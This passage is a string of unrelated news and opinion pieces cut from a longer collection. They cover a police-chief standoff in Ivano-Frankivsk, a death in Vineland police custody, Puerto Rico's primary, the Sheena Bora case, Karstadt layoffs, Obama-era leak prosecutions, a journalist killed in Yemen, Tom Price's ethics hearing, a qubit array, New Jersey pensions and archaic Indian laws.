supposed to have been Piddubnyj’s first day at work, although he never turned up, at least not through the front door. Perhaps because since this morning a crowd of a hundred or so “activists” had been awaiting his arrival, hoping that he would take the APC “Taxi to Dubno” back to his native region.Most probably the armoured personnel carrier belongs to one of these guys, interviewed here, with the article asking if they are “extremists or defenders”. Good question. It’s not clear from any media reports what grievance Maidan Self-Defence and Right Sector have with Piddubnyj, other than that they are categorically opposed to his role.* While the media continue to claim that this small group of activists represent “the community”, in reality public opinion in the city has very little interest in who is head of police and instead is more concerned by the ability of these groups to continue to blockade streets and administrative buildings. *UPDATE: Since writing initially, I have found this interview from 5 Kanal, Petro Poroshenko’s news channel and one of Ukraine’s most watched. Here a representative of Self-Defence claims that they don’t want Piddubnyj because “he’s not from this region”, “he’s an outsider” and the “community doesn’t want him”, with Kyiv failing to listen to the demands. First-hand evidence, then, of these organisations declaring themselves the voice of the community, which is quite far from the truth. Presumably, too, these organisations and “activists” are angered by the fact that the new head of Odesa police is from… Ivano-Frankivsk region. Viktor Nemish is the local councillor who in local power structures is the voice of these organisations, and he claims that only two candidates are acceptable to these groups after conducting a folk version of “lustration”. If the simple reason for opposing Piddubnyj is that “he’s not from our region”, then this is quite a worrying insight into the mentalities of these groups that claim to speak for the city community and seek to determine its future. If someone from Volhynia in north western Ukraine is unacceptable, then what chance does anyone more exotic stand in the city? The groups involved today were: Maidan Self-Defence, which took on a coordinating role in the protests in Kyiv and locally, but now seems to be some kind of semi-paramilitary gang of camouflaged men; Right Sector, who locally at least are basically UNA-UNSO, a paramilitary group, plus the youth organisation Tryzub (Trident); and Automaidan, with the Kalush branch most evident today. Very few police, beyond traffic cops blocking the street, were visible when I passed about 13:30 this afternoon, although the media show that many uniformed officers did come out to declare that “the police are with the people”. (The photo reportage linked to here also manages to be typically sexist towards female police officers) It’s not clear what intention the police had with this statement, although since most have declared loyalty to the new head it was presumably a rejection of the “activists'” attempts to appropriate the voice of the people of Ivano-Frankivsk region. Some obvious questions that are raised by this farce are: how is it possible for someone to park an APC on a main street in the city centre and outside the police HQ and get away with it? It suggests the police here are weak and in fear of these paramilitaries, or they are somehow coordinating with them on a more significant level than joint patrols around the city in the aftermath of Euromaidan. Should these “activists” get more active and violent, what are the chances of the police or other forces in the city halting them? Another question is in whose interest is it to disrupt the installation of the new police head? The declaration that it is in the interests of the “community” does not wash, so it is necessary to inquire what connections these organisations and their paramilitaries have to various political, business or criminal interests in the city and the wider region. I’m not suggesting that these connections necessarily exist but it is worthwhile investigating. The only sensible suggestion surrounding this whole farce – beyond internet comments which suggest that these blokes who claim to be the region’s biggest “patriots” and “heroes” are actually harming their country – is to hold elections for the head of police. Obviously, however, given the popular indifference to this question then it could be easy to swing any election in favour of these groups’ and their backers’ interests. My own suggestion is that if these blokes are such heroes and so concerned for their country, then the Ukrainian army is waiting with conscription for 18-25 year olds having been reinstated. That could also solve the problem of having so many men with little to do in the middle of the day marching around the city, potentially armed, and causing more trouble than good. Indeed, for anyone coming to Ivano-Frankivsk from outside the area, these camouflaged groups and their APC are really the only visible sign in the city that the country is actually in crisis. It is, as I mentioned yesterday, a source of a sense of incongruity being in this part of Ukraine while the foundations of civil conflict, or worse, grow deeper in other parts of the country. Aside from the presidential campaign coming to town, new restaurants continue to open including this place on the main street, the “Stumetrivka” or Nezhalezhnosti Street. It’s a sushi bar, suggesting there’s some nouveau riche cash still sloshing about the city. The owners of the restaurant, meanwhile, have taken liberties with this neat nineteenth-century building and destroyed the original façade with new doors and windows, including extending their size which is probably against planning regulations. But no one cares much for those in the city – as my post on the infamous Royal Burger brewery building showed. The tragedy in Odesa has, however, been recognised officially in the city, with more raucous events within Ivano-Frankivsk’s City Day anniversary celebrations, scheduled for 9-10 May, cancelled. So this means that there will be no rock concerts and such, since these fall within the traditional nine-day mourning period. The annual blacksmiths’ festival will go ahead as planned. Aside from this official gesture, though, there’s little evidence of mourning in the city for those killed in Odesa. Although the Fabbrica restaurant that I have written about did abandon owing to events in Odesa its traditional closing dances over the weekend. Meanwhile, as the country plunges further into crisis, those in Self-Defence and Right Sector who claim to be the greatest heroes and patriots continue to fight their absurd, farcical struggle over the head of police on the streets of the city. Advertisements -Spread the love “Get him! Get him! Get him!” Vineland, NJ — Early this morning, yet another video has emerged showing the heinous murder of Phillip White by Vineland Police. As we reported last week, 32-year-old Phillip White died in police custody last Tuesday morning after being beaten by police and viciously mauled by a K-9. The video released on Facebook shows more clearly that White was limp and unresponsive when officers yelled at the K-9 to “Get him!” One cop continued to inflict blows to White’s body as the dog mauled his face, chest and arms. The cops roll the unconscious man onto his back, then scream at him to roll back over, the entire time letting the K-9 continue to maul White, who was, again, completely unresponsive. At no point in the video does Phillip White show any sign of consciousness, let alone resisting arrest. As the video progresses, White’s arm can be seen being shaken about as the dog tears into him, completely limp. The man capturing the video is pleading for the officers to stop their attack, screaming that he is unconscious. “He’s knocked out!” screams the onlooker. But sadly, this was to no avail. It is even less surprising now, with the emergence of this new video, that Vineland police attempted to confiscate the damning footage. Fortunately, they were not successful. Residents in the area have identified one of the officers to arrive on the scene as Dion Colvin. Although Colvin did not participate, he stood by and watched Phillip White get brutally assaulted and ultimately killed. Members of the community are urging Officer Colvin to speak out against this heinous crime. -Amid a crushing economic malaise, millions of Puerto Ricans will go to the polls to vote on their preference for president and governor in the U.S. territory’s Democratic primary Sunday. They also could push Hillary Clinton a lot closer to becoming the Democrats’ presumptive nominee. The primary has been almost overlooked with the much larger cache of delegates up for grabs on primaries Tuesday in a handful of states, including California. Close video How to stop the Puerto Rican debt crisis Wisconsin Representative Sean Duffy outlines the current economic conditions in Puerto Rico and what needs to be done to combat the billions of dollars in debt that the Puerto Rican government faces. share tweet email save Embed But the close race in California, the aggressive push Bernie Sanders has been making in Puerto Rico and Puerto Rican’s exhaustion from the island’s economic crisis are drawing much more attention to the elections. “There rarely is attention to the primaries in Puerto Rico and most of the time they are not held on the same days as the Puerto Rico primaries,” said Federico de Jesus, principal at FDJ Solutions. Clinton, who has a long history in Puerto Rico was the victor on the island in 2008 against Barack Obama. On Saturday, 60 delegates are at stake and frontrunner Hillary Clinton is widely expected to win. What many watching will want to know is by how much? Whatever number of delegates she picks up in the race will put her that much closer to the 2,383 overall delegate goal that is within her grasp. The island’s governor, Alejandro García Padilla, endorsed her earlier on Wednesday. He is not running for re-election. RELATED: ‘Hamilton’ star Lin-Manuel Miranda on his mission to help Puerto Rico “I think Hillary has the odds to win, but Bernie has definitely been very aggressive on his policy positions and on debt issues,” de Jesus said. “It’s not going to be a slam dunk, but I think she is going to win.” Hoping to shore up his chances, Sanders said on Thursday he would introduce his own bill dealing with the Puerto Rico debt crisis, The Associated Press reported. A House bill that has been approved by a U.S. House committee to deal with Puerto Rico’s financial crisis has drawn criticism, although it has won bipartisan and administrative support. Clinton, like other Democratic supporters of the bill, has expressed concerns about parts of the bill, but wants to see it move forward to stop Puerto Rico’s problems from worsening. Puerto Rico’s primary race for governor pits Resident Commissioner Pedro Pierluisi, the island’s representative in Congress against Ricky Rosselló, the son of former Puerto Rico Gov. Pedro Rosselló. RELATED: The most important number for Bernie Sanders next week: 256 Pierluisi has been representing Puerto Rico in Congress since 2009 and served as its attorney general for three years. He has dogged Congress for the past couple of years to take action to assist Puerto Rico and pushed his own legislation that would have allowed the territory to file for Chapter 9 bankruptcy, as cities like Detroit have done. The legislation stalled. Rosselló is a scientist who has focused work on stem cell research. He also has been a political commentator and founded a political advocacy group. The debt crisis also spills into their campaign because Pierluisi has backed the House committee bill, despite disagreeing with parts of it. He opposed earlier versions of the bill that Republicans withdrew because they could not get enough support for its approval. Follow NBC News Latino on Facebook, Twitter and Instagram. -Sheena Bora, who was allegedly murdered by her mother Indrani Mukerjea three years ago, had told close friends she planned to marry former Star TV CEO Peter Mukerjea’s son Rahul by the end of 2012. “Sheena and Rahul were very much in love and she told some of us who were very close to her that she intended to marry Rahul, possibly by November 2012,” said a source who played a key role in alerting Mumbai Police on Tuesday that Indrani was Sheena’s mother. The source, among Sheena’s closest friends, said Indrani was very upset with Sheena’s relationship with Rahul as she believed it could affect her own marriage with Peter Mukerjea. “Indrani was very particular about matters like her social status and thought Sheena’s marriage plans could cause her embarrassment. Indrani was probably worried her real relationship with Sheena, which she had kept secret for so many years, would come out in the open,” the source told Hindustan Times. Sheena, who was 24 when she was killed in April 2012, told her closest friends about her mother’s unhappiness with her relationship with Rahul. While she also told them about her marriage plans, she did not say whether she had discussed the matter with Indrani, the source said. “Rahul too wanted to marry her. He was very worried when Sheena went missing in March 2012 and initially told us he wanted to file a police case. Later he just seemed to give up after there was no news of her,” said the source who did not want to be identified because of being employed in a sensitive government institution. The source said Sheena’s closest friends had visited her home at Sundarpur in Guwahati two or three times after she disappeared but were told by her brother Mikhail Bora that she had gone to the US for studies. The source said Sheena’s friends had reservations about Mikhail’s role in the affair. During a visit to the Boras’ home in late 2012, the source said he was able to spend a few minutes in private with Sheena’s grandmother Durga Rani Bora, who alleged that Mikhail sometimes mistreated her and her husband Upendra Kumar Bora. Mumbai Police have arrested Indrani, her former husband Sanjeev Khanna and her driver Shyam Rai for alleged involvement in Sheena’s murder on April 24, 2012. They have also been accused of disposing of her body in Maharashtra’s Raigad district. Mikhail has said he has no doubts that his mother killed Sheena. He has hinted he has more information about the motive for the murder but refused to give details. Indrani married Peter Mukerjea in 2002 and passed off Sheena and Mikhail as her sister and brother. Peter Mukerjea has acknowledged that Sheena and his son Rahul were in a relationship. He has also said he was told that Sheena was sent to the US because Indrani was opposed to the relationship. Read:Said, unsaid and suspense in Sheena Bora murder case Sheena Bora murder case: A complex web of lies and deceit First Published: Aug 27, 2015 15:25 IST -Germany: Layoffs at gourmet chain Karstadt/Perfetto By Jan Peters and Marianne Arens 12 August 2015 The layoffs and wage cuts at the German department store group Karstadt continue. The most recent piece of bad news concerns employees at the gourmet chain Perfetto, whose 43 branches are co-managed by Karstadt and the retailer Rewe. According to a letter management sent to employees on July 15, quoted by Handelsblatt, “the previous business model with a heavy focus on the luxury chain [has] failed. Perfetto ran a “constant deficit” and was in need of major restructuring. For this reason, “Perfetto was not able to avoid personnel cuts.” The exact number of job cuts has not been announced, but it is estimated that between 300 and 500 of the approximately 2,200 employees will be laid off. Ten years ago, Karstadt still had 3,700 gourmet food employees in 60 branches. The remaining employees will be subject to a so-called “wage freeze,” a policy that had already been implemented for employees of the other department stores. Employees will have to do without wage increases, Christmas bonuses and holiday pay. A year ago, the previously convicted Austrian real estate speculator René Benko bought the Karstadt corporation for a symbolic sum of €1. In June 2015, however, he and his real estate holding company Signa were not able to acquire the department store chain Galeria Kaufhof and merge it with the Karstadt Group. Since then, the billionaire has made it clear that he is not interested in restructuring the department stores but only in exploiting the workforce and further capitalizing on the attractive commercial space and real estate. In August 2014, Benko took over 83 Karstadt branches. Since then, he closed the store in Stuttgart and announced that five additional stores will be shut down by 2016. An additional 15 branches and six sports outlets are threatened with closure as well. In spring 2015, Benko sold the majority shares of three Karstadt-owned luxury department stores (KaDeWe in Berlin, Oberpollinger in Munich and the Alsterhaus in Hamburg) to Thai investors. Two weeks ago, he sold the “Sevens” shopping centre in Düsseldorf to the international real estate company CBRE Global. The piece of high-end real estate had belonged to him since 2010. Stores like Saturn, Christ, Douglas and others are located there, and Benko had raised the rent by 72 percent over a period of five years. Further efforts were supposedly required in order to help the Karstadt department stores stay on their feet. Sales expert Gerrit Heinemann of Niederrhein University calculated that investment of €1 billion was needed in the sales department alone, and an additional €1 billion would have to be spent on the expansion of e-commerce. He wrote, “The new orientation of Karstadt would require so much capital that it might even surpass what Benko can manage.” Since then, the department stores have been heavily “restructured” through personnel cuts and store closings, indicating that they are being made an object of speculation and investment for new investors. Of a total of 17,000 jobs, 2,500 will be cut. Under its previous owner, Nicolas Berggruen, Karstadt had already abandoned the union-agreed retail wage contract, so that sales staff earn on average at least €120 less each month than the contract amount. Karstadt head Stephan Fanderl now recommends the demotion of a part of the staff to shelf stackers, which will result in their being paid even less. Benko and Fanderl would not be able to carry out these attacks if they could not rely 100 percent on the works council and the Verdi union. Once again, Verdi is playing a central role in layoffs and cuts. Even if they are the worst asset strippers, Verdi praises every new owner as a “rescuer” and offers its support. This pattern has been repeated for decades. In 2005, the union and works council welcomed Thomas Middelhoff, who now sits in prison for breach of trust, as the “white knight” at KarstadtQuelle AG, and supported his “restructuring plan,” i.e., his programme of deep cuts. Middelhoff took Karstadt into bankruptcy in 2009. His successor, Nicolas Berggruen, acquired the Karstadt business in 2010, for a symbolic €1. While Karstadt suffered losses every year, Berggruen collected €7.5 million annually for the Karstadt name rights alone, which he purchased for a single payment of €5 million. In August 2014, René Benko stepped onto the scene. As soon as he took over Karstadt for €1, he announced store closings and layoffs. The Austrian Standard newspaper called him an “adventurer and phony”. Wirtschaftswoche quoted a Karstadt saleswoman with the words, “We already had one billionaire as an owner. They provide absolutely nothing.” Verdi, on the other hand, bestowed pre-emptive praise on Benko. Arno Peukes, retail secretary at Verdi, commented on the takeover: “We had great hopes for Nicolas Berggruen in those days. I will put it this way: René Benko seems more grounded, and he seems to have some people around him who are familiar with the topic of department stores.” In the game of poker over the department store chain a few weeks ago, the union fully supported Benko and supposedly intervened with Olaf Koch, head of wholesaler Metro Cash & Carry, on his behalf. In an unmistakable pot shot at the competing Hudson’s Bay (the Canadian department store chain that was awarded the bid in the end), Verdi board member Stefanie Nutzenberger told the Süddeutsche Zeitung that the union opposes the “expanded concessions model in which a department store offers ever increasing floor space to outside retailers and their employees”. Nutzenberger, like Peukes, is a well-rewarded Karstadt supervisory board member. A few days ago, Karstadt published its figures for the business year 2013/14, in which the corporation suffered a loss of €190 million. According to Karstadt head Stephan Fanderl, the loss in 2015 was “in the area of the mid tens of millions”. As reported at the press conference announcing the figures, the loss would have “been much greater without the contributions of the 16,328 employees”, Die Welt wrote. “On the one hand, their numbers fell through job cuts and the removal of three premium department stores in Munich, Hamburg and Berlin by a good 900, on the other hand, Karstadt temporarily left the union agreed wage contract and saved on payments in this way. All together, personnel costs sank by almost 20 million.” Once again, the company management, works council and the union are demanding a new “offensive” in order to get out of the red. Jürgen Ettl, the new chairperson of the general works council who took over this post from Hellmut Patzelt in June, warned that the company head should not “exceed the target”, but in the same breath emphasised that “Mr. Fanderl tackles things consistently.” Please enable JavaScript to view the comments powered by Disqus. -Architect Of Obama's War On Whistleblowers: 'It's Good To Hang An Admiral Once In A While As An Example' from the governing-through-fear dept At a closed hearing in December 2009, members of the Senate Select Committee on Intelligence, led by Dianne Feinstein, Democrat of California, scolded Mr. Holder, Mr. Blair and the F.B.I. director, Robert S. Mueller, saying they had not adequately protected national security secrets. “A tipping point was reached in 2009,” said one knowledgeable Senate aide, who spoke on the condition of anonymity because he is not an official spokesman. “There was an official change of policy.” Mr. Blair said, “We had to do 50 push-ups and promise to do better.” In tracing the origins of this effort, present and former government officials said the focus on leaks began at the administration’s highest levels and was driven by pressure from the intelligence agencies.... Soon after President Obama appointed him director of national intelligence in 2009, Dennis C. Blair called for a tally of the number of government officials or employees who had been prosecuted for leaking national security secrets. He was dismayed by what he found. In the previous four years, the record showed, 153 cases had been referred to the Justice Department. Not one had led to an indictment. That scorecard “was pretty shocking to all of us,” Mr. Blair said. So in a series of phone calls and meetings, he and Attorney General Eric H. Holder Jr. fashioned a more aggressive strategy to punish anyone who leaked national security information that endangered intelligence-gathering methods and sources. “My background is in the Navy, and it is good to hang an admiral once in a while as an example to the others,” said Mr. Blair, who left the administration in 2010. “We were hoping to get somebody and make people realize that there are consequences to this and it needed to stop.” Mr. Holder’s “attitude, the same as mine, was to speed up the process and make it more effective,” Mr. Blair said. “So, yes, that would mean more aggressive prosecution.” The Justice Department imposed a tight deadline to decide whether to open criminal inquiries into leaks, shortening to just three weeks a review process that had often dragged on for months. Leaks considered unworthy of prosecution were marked for administrative inquiries. Underscoring the administration’s determination, Robert M. Bryant, Mr. Blair’s national counterintelligence executive, was put in charge of stanching leaks. The White House has kept a careful distance from the Justice Department prosecutions, but President Obama seemed unwavering in his support for them. When government transparency advocates told him in March 2011 that chasing whistle-blowers was sullying his record, the president disagreed, saying some disclosures had been very damaging to national security. On March 28th, Obama held a meeting in the White House with five advocates for greater transparency in government. During the discussion, the President drew a sharp distinction between whistle-blowers who exclusively reveal wrongdoing and those who jeopardize national security. The importance of maintaining secrecy about the impending raid on Osama bin Laden’s compound was likely on Obama’s mind. The White House has been particularly bedevilled by the ongoing release of classified documents by WikiLeaks, the group led by Julian Assange. Last year, WikiLeaks began releasing a vast trove of sensitive government documents allegedly leaked by a U.S. soldier, Bradley Manning; the documents included references to a courier for bin Laden who had moved his family to Abbottabad—the town where bin Laden was hiding out. Manning has been charged with “aiding the enemy.” Danielle Brian, the executive director of the Project on Government Oversight, attended the meeting, and said that Obama’s tone was generally supportive of transparency. But when the subject of national-security leaks came up, Brian said, “the President shifted in his seat and leaned forward. He said this may be where we have some differences. He said he doesn’t want to protect the people who leak to the media war plans that could impact the troops.” Though Brian was impressed with Obama’s over-all stance on transparency, she felt that he might be misinformed about some of the current leak cases. She warned Obama that prosecuting whistle-blowers would undermine his legacy. Brian had been told by the White House to avoid any “ask”s on specific issues, but she told the President that, according to his own logic, Drake was exactly the kind of whistle-blower who deserved protection. Over the last few years, we've covered President Obama's war on whistleblowers , including the fact that he's used the Espionage Act against whistleblowers more than every other President combined, which is really quite incredible when you think about it. The NY Times has tried to dig around and figure out why the Obama administration is so harsh on whistleblowers and comes up with a few different sources. The first one, the Times reporter actually buries pretty far down in the story: Senator Dianne Feinstein from California:Of course, as we've pointed out a few times, Feinstein, ridiculously, seems much more concerned about leaks than the government abuses and lawbreaking that those leaks reveal. That's quite incredible when you think about it.The second source -- also underplayed by the article -- is officials in the intelligence community itself, who the President and his top advisors seem somewhat in awe of, and rarely seem willing to push back on what they have to say:Basically, the long term intelligence insiders were sick of leaks -- such as the revealing of their warrantless wiretapping -- meaning that they actually have to answer to the public for overreaching into everyone's private lives. Given the combination of those intelligence agencies and Feinstein (who has always parroted whatever the intelligence agencies have to say), President Obama put his first Director of National Intelligence on the job of "solving" this issue of whistleblowers. And Blair apparently took to it with fervor, believing that the best thing to do would be to "make some examples" bypeople:While he's not literally talking about hanging someone, just the idea that they set out, purposefully, to "make examples" out of whistleblowers, is what lead to these kinds of massive overreaches and the chilling effects found today. The administration may think that's a good thing, because it keeps their secrets secret -- but it's also what's allowed massive abuses within the government to flourish with no one willing to blow the whistle.The next culprit outlined (and mentioned above) is Attorney General Eric Holder, who teamed up with Blair to craft a program that was focused on going after anyone they could very aggressively:So, rather than get the whole story, understand what's going on, the DOJ has a three-week deadline before moving forward withinvestigations on whistleblowing.The final person to blame for all of this: the President himself. As noted above, he seems to accept everything the intelligence guys tell him without question. And that leads to absolutely moronic claims like the following:The Times reporter doesn't dig into this, but that meeting from March 2011 was first written about in Jane Mayer's amazing New Yorker article about the ridiculous prosecution against whistleblower Thomas Drake . That was a case where Drake legitimately blew the whistle on fraud and abuse within the NSA -- and it was only in searching for who was behind a different leak, that investigators found a completely pointless document on his home computer, including details of some meeting schedules. The document was, but prosecutors said that Drake should have known it was actually classified (even though the documentdeclassified months later).That was clearly an extreme case of going after a whistleblower for being a whistleblower -- and yet when confronted on this, the President strongly pushed back against it and seemed to buy completely into the bogus claims his intelligence people were telling him about Drake. From the Mayer piece:Of course, Brian was exactly right -- Thomas Drake was exactly the kind of whistleblower President Obama claims he wants more of: the kind who reveal government wrongdoing in the form of financial shenanigans. And yet, he never seemed to recognize or acknowledge that Drake never revealed anything that jeopardized national security. Given how the various intelligence bosses -- from Blair to Keith Alexander to James Clapper (and their various predecessors who are now making tons of money working for private defense contractors bilking billions from the government on these issues) -- seem to have decided that they need to "hang" a few leakers, President Obama's failure to recognize that they've been using his support for this to hang true whistleblowers, rather than anyone who's harmed national security, means he needs to take the blame for this massive failure within his own administration.Brian was completely correct in her statements. These actions -- and the latest Snowden revelations of a President who seems to cave to the intelligence agencies at every chance -- really do a massive amount of harm to his legacy. But, tragically, the President appears to have a huge blindspot on that, not realizing how damning his war on whistleblowers has become. Filed Under: barack obama, chilling effects, dennis blair, dianne feinstein, ed snowden, eric holder, espionage act, james clapper, keith alexander, leaks, whistleblowers -New York, March 18, 2011--One journalist was fatally shot and another wounded in Sana's today when Yemeni security forces used live ammunition to disperse demonstrators from a central protest area, killing dozens of people. The death of photographer Jamal al-Sharaabi is the first confirmed media fatality in Yemen since political unrest began in January, the Committee to Protect Journalists said today. Al-Sharaabi, a photojournalist for the independent weekly Al-Masdar, was among 44 individuals killed by security forces who opened fire on a demonstration against President Ali Abdullah Saleh's 33-year-long rule, local media and the Yemeni Journalists' Syndicate (YJS) reported. Most of the victims were shot in the head or the neck, according to local media. New accounts described at least some of the gunmen as snipers. Several hundred more civilians were wounded by security forces' fire at the demonstration site in a square outside the main entrance to Sana'a University, news reports said. Among them was a photojournalist, working for the BBC Arabic service, who was shot in the shoulder, the BBC reported. The photojournalist was not identified by name. "We extend our condolences to the family and colleagues of Jamal al-Sharaabi, who was killed today as he performed his professional duties," said Mohamed Abdel Dayem, CPJ's Middle East and North Africa program coordinator. "This killing comes on the heels of many weeks of increasingly hostile rhetoric and violent reprisals against independent and critical media." The Yemeni Journalists' Syndicate has documented more than 50 separate attacks on journalists since political unrest began in January. The attacks include abductions, assaults, confiscation of equipment, and threats of violence against journalists and their families. -Washington (CNN) The Office of Government Ethics Wednesday sent a series of four tweets outlining its procedures examining incoming Trump administration officials -- right in the middle of a contentious Senate hearing about Rep. Tom Price's stock transactions. The OGE tweets did not specifically cite Price, his financial holdings or the Senate hearing. The tweets came less than an hour after Price -- President-elect Donald Trump's nominee to be secretary of Health and Human Services -- defended himself against questions about his stock transactions at a Senate hearing and invoked the ethics office's approval. Under questioning about his investments, Price cited the Office of Government Ethics and its "diligence" in its role reviewing all Cabinet nominees' financial records. "We have agreed to every single recommendation that they've made to divest of whatever holdings we have that might even give the appearance of a possible conflict," Price said. CNN reported on Monday that financial disclosures show Price invested in a medical device manufacturer days before introducing a bill that would benefit that company. Democrats including Senate Minority Leader Chuck Schumer have called for an investigation into whether Price may have violated the law. Price has said the stocks were purchased through a broker and that he did not know which stocks he owned. He repeated that he did nothing inappropriate and pointed to disclosures he made to OGE that were signed off on in the nomination process. The ethics office's tweets came shortly thereafter, with messages outlining what it does -- and doesn't -- do. "OGE's focus is prevention; IGs investigate potential misconduct & @TheJusticeDept prosecutes criminal violations," OGE tweeted shortly thereafter. "OGE oversees the executive branch #ethics program, while Congress & the Courts have their own ethics programs," they continued . "OGE does not handle complaints of misconduct. Please learn where & how to report #fed employee misconduct," the agency wrote , including links to its missions and procedures. OGE did not comment on the tweets on the record. Though the tweet did not specially refer to Price, the OGE has tangled with the incoming Trump administration before. The office's Twitter account has been vocal in advocating for full divestment by President-elect Donald Trump, which Trump is not opting to do, and the chief of the office has been vocal about his concerns. An expert on ethics and former Federal Election Commission general counsel said Price's submission to OGE would not have been scrutinized for past actions. "The Office of Government ethics reviews his current situation for potential conflicts of interest and negotiates an agreement with how he should handle (divestment) in the future," Larry Noble, general counsel at the Campaign Legal Center, said about Price's testimony. "It does not look at his past activity." Noble also said that purchasing the stock through a broker alone wouldn't mean there are no ethical questions -- saying Price would need to assure he and the broker did not discuss the stock or the bill. "The fact of the matter is that I have had no conversations with my broker about any political activity at all other than her congratulating me on my election," Price said before the Senate Health, Education, Labor and Pensions Committee. Democratic Sen. Chris Murphy said that Price appeared to have invested in a number of drug companies before taking action to "inflate" those firms' values. "Why wouldn't you at least tell her, 'Listen, stay clear of any companies that are directly affected by my legislative work?'" Murphy asked. "Because the agreement that we have is that she'd provide a diversified portfolio, which is exactly what virtually every one of you have in your investment opportunities, and make certain that in order to protect one's assets, that there's a diversified arrangement for purchase of stocks," Price said. "I knew nothing about those purchases." Correction: The OGE tweets did not specifically cite Price, his financial holdings or the Senate hearing. -One of the challenges on the way to realizing the benefits of quantum computing is finding a way to compactly assemble and then precisely control enough quantum bits to deliver on the technology’s enormous processing potential. Researchers at Penn State University said they’ve made a big advance. Quantum bits, or qubits, are the quantum equivalent of the bits used in traditional computing. While today’s bits typically represent data as 0s or 1s, qubits can be both 0 and 1 at the same time through a state known as superposition. To achieve their breakthrough, the scientists first corralled quantum atoms into a 3D array. To construct it, they used beams of light to trap and hold the atoms in a cubic arrangement of five stacked planes, much like a sandwich made with five slices of bread. Each plane had room for 25 equally spaced atoms; in all, the arrangement formed a cube with an orderly pattern of individual locations for 125 atoms. The scientists filled some of the possible locations in the array with qubits consisting of neutral cesium atoms possessing no positive or negative charge. Then, they used crossed beams of laser light to target individual atoms in the lattice, causing a shift in the energy levels of those atoms. When the scientists then bathed the whole array with a uniform wash of microwaves, the state of the atoms with the shifted energy levels changed, while the states of all the other atoms did not. To demonstrate their control over the qubits in their array, the researchers changed the states of selected atoms in three of the stacked planes in order to draw the letters P, S, and U—the letters that represent Penn State University—as shown in the image above. “We have set more qubits into different, precise quantum superpositions at the same time than in any previous experimental system,” said David Weiss, the physics professor who led the research team. “Our paper demonstrates that this novel approach is a precise, accurate, and efficient way to control large ensembles of qubits for quantum computing.” The paper was published last Friday in the journal Science. Currently, the system offers a reliability of about 99.7 percent, but the team hopes to increase that to 99.99 percent, Weiss said. Also among their goals is to focus on quantum entanglement, whereby the state of one particle is implicitly correlated with the state of the others around it. “Filling the cube with exactly one atom per site and setting up entanglements between atoms at any of the sites that we choose are among our nearer-term research goals,” Weiss said. -Gov. Chris Christie will leave office next year, and his final state budget has left a real mess for whoever succeeds him as New Jersey's chief executive. An analysis by S&P Global Ratings, one of the three major credit ratings agencies, says New Jersey's budget remains "structurally imbalanced" thanks to underfunded state pension systems. "Christie's fiscal 2018 budget proposal might look fine in the near term, but long term, structural balance remains elusive thanks to the state's continued deferral of full funding for future retirement obligations," wrote David Hitchcock and John Sugden, the two S&P analysts who authored the report. "The picture looks much worse" in future years, they warned, since the current budget relies on a series of short-term fixes. Those concerns probably sound familiar, because they're almost identical to the reasons given for the 10 credit rating downgrades New Jersey has recieved during Christie's tenure. The most recent downgrade came in November, when S&P cut the state's rating to A-, the fourth lowest grade in their system. In the new budget plan, Christie has proposed to pay about $2.5 billion into the pension fund during the next fiscal year, which starts on July 1, but that's not enough to satisfy the public retirement system's needs. It's not even close. New Jersey's pension funds are facing a deficit of more than $135 billion, one of the worst shortfalls in the country. Actuaries for the funds say nearly $5 billion in state contributions would be needed next year to break even. "We have done more for the solvency and stability of the pension system than any governor in history despite all the empty rhetoric to the contrary," Christie said last month during his budget address. Incredibly, he's right. That's how bad things are in New Jersey. Bloomberg did the math and determined that Christie has paid more than $8.8 billion into the state pension system since he took over as governor in 2010. That's more than double the total payments made by all New Jersey governors in the 16 years before Christie took over—so give him some credit there—but it's less than half of what the pension system needs on an annual basis to remain solvent, according to the actuaries who make such determinations. That should give you a sense of both how completely unsustainable New Jersey's (and many other states') pension mess is, and also how long it's been ignored. Christie has paid more than three decades of pension bills in just eight years, and yet he's still only halfway to breaking even. And who might inherit this fiscal disaster? Possibly Reason buddy Preet Bharara, maybe. -The Narendra Modi government wants to identify and repeal archaic laws, many that are centuries old, as a part of its reform process. A committee has already been formed to sift through hundreds of these outdated legislations that make little, or no, sense in modern India. The Law Ministry lists about 203 laws that were enacted a 100 years ago. Some of these have been repealed, but many continue to be around complete with mentions of the East India Company and “Her Majesty.” Here are some select specimens. Indian Treasure Trove Act, 1878 If you come across any “treasure” or basically anything that is more valuable than Rs 10, you can be jailed if you do not report it to a revenue officer. As the Archeological Survey of India (ASI) explains it, the law was designed to “protect and preserve treasure found accidentally but had archaeological and historical value” and was “enacted to protect and preserve such treasures and their lawful disposal.” The Indian Penal Code, 1860 (Section 497) Only men, this law rules, can be punished for adultery—and women go free. But there’s more. If a married man has sex outside marriage with an unmarried woman, a divorcee or a widow, it will not be treated as adultery under this section of Indian law. In case a man has sex with a married woman and has her husband’s consent that, too, will not be treated as adultery. Effectively, this means that it is legal for a man to have an extramarital affair as long as it’s with a single woman or a married woman whose husband consents to it. Ganges Tolls Act, 1867 Enacted for “improving and facilitating the navigation of the Ganges” between Allahabad and Dinapur (near Patna), steamers and boats plying on the stretch had to pay a toll of 12 annas. A single (now defunct) anna was equal to a 1/16 of a rupee. The Act requires that the toll shall “not exceed 12 annas per hundred maunds (a unit of mass),” and was applied to vessels typically carrying 200 maunds and upwards. The Cattle-Trespass Act, 1871 Much before India’s highways became a free-for-all, this law was enacted with the intention of keeping cattle off public roads. Cattle also had to stay away from “pleasure-grounds, plantations, canals, drainage-works, embankments and the like”, otherwise they would be seized and locked away in a pound. Owners can subsequently reclaim them by paying a fine, or risk having them auctioned after seven days. Cows, however, are exempt from any such restrictions. But elephants, camel, buffaloes, horses, mare, geldings, ponies, colts, fillies, mules, asses, pigs, rams, ewes, sheep, lambs and goats aren’t. Glanders and Farcy Act of 1899 Glanders (or farcy) is a disease that affects horses, and can be passed on to humans. Under this act horses with the disease can be culled and the owner gets a compensation for the loss of livelihood. Inspectors also have the power to “enter and search any field, building, or other place for the purpose of ascertaining whether there is therein any horse which is diseased.” As recently as 2011, this law was used to pay a compensation of Rs 50 to the owners of a horse affected by glanders. The horse cost the owners Rs 35,000 and helped them earn Rs 250 a day. The Bengal Bonded Warehouse Association Act, 1838 This act helped form a corporate body for the warehousing of goods, known as the Bengal Bonded Warehouse Association, with a capital stock of Rs 10,000 and six directors, all residents of “Bengal Presidency.” The act stipulates that only residents of the Presidency of Fort William in Bengal can be its directors. The East India Company has the first right on any property the Association wishes to sell. The original East India Company was dissolved in 1874. Indian Post Office Act, 1898 India’s massive courier industry is mostly illegal as a result of this law. That’s because, as per this act, the government retains the exclusive privilege “of conveying by post, from one place to another” most letters. Courier companies can, however, send letters by calling them 